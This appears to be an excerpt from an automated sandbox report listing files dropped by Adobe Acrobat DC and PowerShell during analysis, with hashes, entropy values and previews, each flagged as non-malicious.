SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfbPtdPeUkwRe9:YvXKX9PMa1UYpW79ysGDV8Ukee9
MD5:	CAC1F755BD18B39A7FFE6A12E53C2066
SHA1:	31B71F55AB1A887763A094925C240F114D525DCF
SHA-256:	5559C6C0061018AEDB15AA0C6C4997FB10F141B2F791C8F091D56043D69A0541
SHA-512:	08A94032AD376C5980F5DF8B4DF04A6BBF887961E489A799D2301DB9A10EF57E219002AB317A5ECEF7677245FA145C708E929B08E43C523B26DF3A5AD4EB0449
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.279381329886395
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJf21rPeUkwRe9:YvXKX9PMa1UYpW79ysG+16Ukee9
MD5:	3C31BD7ADAB6CC56A304DE7B74BFB26F
SHA1:	EBD043415F1EE5997CDC30E5D1C04999100A610D
SHA-256:	E1403EDF5C785F4583756228CCCCBBDCCCF70DA7B098C65077364208DE474F3B
SHA-512:	F943F2F56259987DA65CD23914DF85C7F2739ED06B933E834A05CCFC8328F67BD9F0D274866C499107CD829A7D27B88B0FD9451F73A2DA0ABCF63681F55C5B06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667592631737376
Encrypted:	false
SSDEEP:	24:Yv6X9/FikamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:YvdiBgkDMUJUAh8cvMv
MD5:	704540C588EA0159EB9563BDBF176D50
SHA1:	5723B136AFE4173AD1E73613091B71B7079DE408
SHA-256:	55BF992FC2F921E99990E83A30E46B872F74DB02DAC80BC5A0BA5605ED574A81
SHA-512:	E1FDD591F6E376055A438132A38527C751DC795EDA428B5E12440D352B13A56D6115F894C282E0F66DFCBDE2DD3788A6AF6B851B52ADF9563CA2418FFF77484A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255357139761651
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfshHHrPeUkwRe9:YvXKX9PMa1UYpW79ysGUUUkee9
MD5:	CD0DF8A068AD56BD7426C61B917A9A90
SHA1:	BF49833BB73F59558D2348BF36B8C6160533FA02
SHA-256:	2CCF9A2223375829871B1A9F00C6049A93F64CFB8D5E24386154F6B8090CDD4D
SHA-512:	4C216E4BE0F1F6C24B589D0AF3D461E3430C7D225F86CD11AFCBCE41021791FE9B0A0F4099E25AAD725707BF485CB7953DDE220E3F99E2805408232173527C6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.269948676187914
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJTqgFCrPeUkwRe9:YvXKX9PMa1UYpW79ysGTq16Ukee9
MD5:	5172C5F276D9184C945DBE297C765BBD
SHA1:	36F5F2FD98D33FEF9C95537FC28897247B2A6327
SHA-256:	B40B348E459E234B0EC3A58B441FF18367C64AE5DE9974DBD3708A607257AB9E
SHA-512:	33BF57CDA9FB63FB7C0070A342D250D3A255A704DA916F803E6B70BF7B02DB0920D38A59B1F7D2FF8F7098A92324BF2C7F1A05E1BAD3F7F023F6DCE0B7C9108A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144233077344291
Encrypted:	false
SSDEEP:	24:YufKGaA6aayJnOJPXlNjRfppKnVWKetC2L32LSrPj5j0SrfamRCvy5PbD9Fj05Mu:YAwP/yVds3dtbIoDYq9up
MD5:	BD93EA040F955F77D261CD6FC6F33DE8
SHA1:	66C0A316B5437C0E0DF3567780400667B15318F4
SHA-256:	B82B5D4FE489DC64ED1AD5CBC10A9AEC7D92F3972A8466A7D1FC3F40222619E7
SHA-512:	724A65757EB50645F082F98F7D8C3BDE97B90D48C4F0BFE85977A27363398059EFF1D77C01E6857D2AB27E386D56DCA6DFAA6B2CADE3D1AA26BAF6AABAD41745
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"60985f274f0d63d9f7729f069eb02473","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557239000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"96e61dc4b67e61e2854f3be8497a1ecd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557239000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"39711023f5cbfa84fbb33fe9934024e2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557239000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"922c0934b9919d113697b61873eaea38","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557239000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e7fa1c170e5caa0b9684300f9a649629","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557239000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f6d9690f97280cef8f0f472da4c3770f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9853088486425896
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp+H4zJwtNBwtNbRZ6bRZ45HF:TVl2GL7ms6ggOVpjzutYtp6Pa
MD5:	8899C2242D1F1C2FE212CDA2EEDFAC63
SHA1:	2E4945CED17D06793594E47179CFAB942BA6CDC6
SHA-256:	DD8AD78D14D1DC381F3A24F0EF2B14FE4F084764D02854ADE9B3AEDFFEC3066C
SHA-512:	152C471EF0AB588F6E63099D822908E3CFC613686EA42EDADCE9E2538777EA2189DEAC5BA6C1DEA988F5C2E297497BB699EAEB829B3B2E9F5C1BFC7BE5B6A1D8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3381217556740974
Encrypted:	false
SSDEEP:	24:7+t8vAD1RZKHs/Ds/Sp+HPzJwtNBwtNbRZ6bRZWf1RZKfqLBx/XYKQvGJF7ursN:7MUGgOVpczutYtp6PMCqll2GL7msN
MD5:	73BD767D737BEBF32773A43DAB8B1236
SHA1:	8DD3CE2B3510802B3DBD1834FB2F0D9DADCFD581
SHA-256:	4E60363782508AC96F4B7179DE9B2271AFA8658A445474CDD8586338F51B658F
SHA-512:	3D68A95312C6259C9F918AD9335E974585E4FB9832FECF466DCC171D03C920F11123417BBB20B42F6E1DE860B317F4D7D0824BB58062306AAD9743C5DC836584
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgEbAcYvi1bTn4Jx4LzQGsnzFqIYyu:6a6TZ44ADEEbAbvi1bTn4Jq2K
MD5:	09A722F141455D24C26A04BCF52C519B
SHA1:	F1841F2F873E901E6EA2186BA7840010CAECBF33
SHA-256:	B31C08040949797EE59BC5B19F371052E419CB3E32F059B59F6736A0993C61F9
SHA-512:	8367DBA7A6C1CCD6B31E005160690F83FC1CFC33DC460C6763E19D69179D531E1123B1FB75C9FB7D2F2865495ACDB0F690A7C51F152661B6513E772AD80D207A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI46b75.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCliYH:Qw946cPbiOxDlbYnuRK+bbYH
MD5:	9E9A5CA094AF67F89F205C66620E54AC
SHA1:	84CF32A9792EC680AF76D42228A18F48A1BA351C
SHA-256:	CA352662E132107DA5DF806F04F9E741FBBC5AA5FC2DBEF1AACE0318459E1795
SHA-512:	356C52FD1ACFB6CCE676D4C69D9DEBA0A277E09F72303184D3DBFB69B783FDE209E19D296E579656D77C280238FE8CF0C91D34015984CC231B884D404F2BCFBC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.0.:.4.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1loqg2a.bp3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pxm0n2nw.ldm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-00-32-271.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.321789363217569
Encrypted:	false
SSDEEP:	384:kqgboedn7ExLcuz40LM042pkI7Gz/1lw0/yQGuwWjWVajYyPvsRe9G9UumMjBqys:kKC
MD5:	475F36B3D34281B02FFE52DA4BF0DB2B
SHA1:	00D73BEB78DA33945B85B8DE35C65D3C2739767D
SHA-256:	F5EC73C7A5314378E1274DC40AB5B1E6A8DFD4C9209419DE03345FABECA5B531
SHA-512:	B5630B3F28632FABE15E87960BB6FC30EFE92DC15E8879BEAF5F195CD6F2FC7C23A40710E33DADEFE2BBCE562EBCC1C530D37D97BA15AE7254FFBBABD3A17EDF
Malicious:	false
Preview:	SessionID=6bd72080-1726-4f66-801a-a085832bce36.1736557232295 Timestamp=2025-01-10T20:00:32:295-0500 ThreadID=7580 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6bd72080-1726-4f66-801a-a085832bce36.1736557232295 Timestamp=2025-01-10T20:00:32:296-0500 ThreadID=7580 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6bd72080-1726-4f66-801a-a085832bce36.1736557232295 Timestamp=2025-01-10T20:00:32:296-0500 ThreadID=7580 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6bd72080-1726-4f66-801a-a085832bce36.1736557232295 Timestamp=2025-01-10T20:00:32:296-0500 ThreadID=7580 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6bd72080-1726-4f66-801a-a085832bce36.1736557232295 Timestamp=2025-01-10T20:00:32:296-0500 ThreadID=7580 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391016502220084
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbb:0U
MD5:	A6CDB6E5FE08BA037755A0BB9B11C0A7
SHA1:	5DD31344E2D2F7AFB97D09DD32D111C7865386B7
SHA-256:	744944E28FE85537A9562499C5C069BA3A17254235240938E274644FE9E1A840
SHA-512:	CD3B505E2D7D75A28F48679AB0B2D85F3F86D0E31C43D87FAE62A02328B162D83E578C106BFA158E3BD1B55932B315C0914EA0E81C3CC4018E1AA6105244CE4E
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\019269b1-7577-4e51-be56-f1042e581551.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8b918087-a349-4c53-bfab-6faf8e4471d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLRGZKwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLRGZf
MD5:	EEE2F73FDF49F1B3FF8730F22101DC82
SHA1:	498FC43A0ACFCB110CCF5EF1BF4AC4DEAA2292B1
SHA-256:	38A3C845A54AC1FD764150E851216A22FD214551EACD607BD951574FE151FCB9
SHA-512:	47B13AF35800AB75210464B9874FDB0456B2FAFFC5E4C20EB50A355D4CB3319F372004E8AF66AEB5CF0C32ECBCD01BC08F84AC30AD3DE763CC25246C475C9839
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\99d5bb45-e014-4914-9d82-387bdd0e465a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
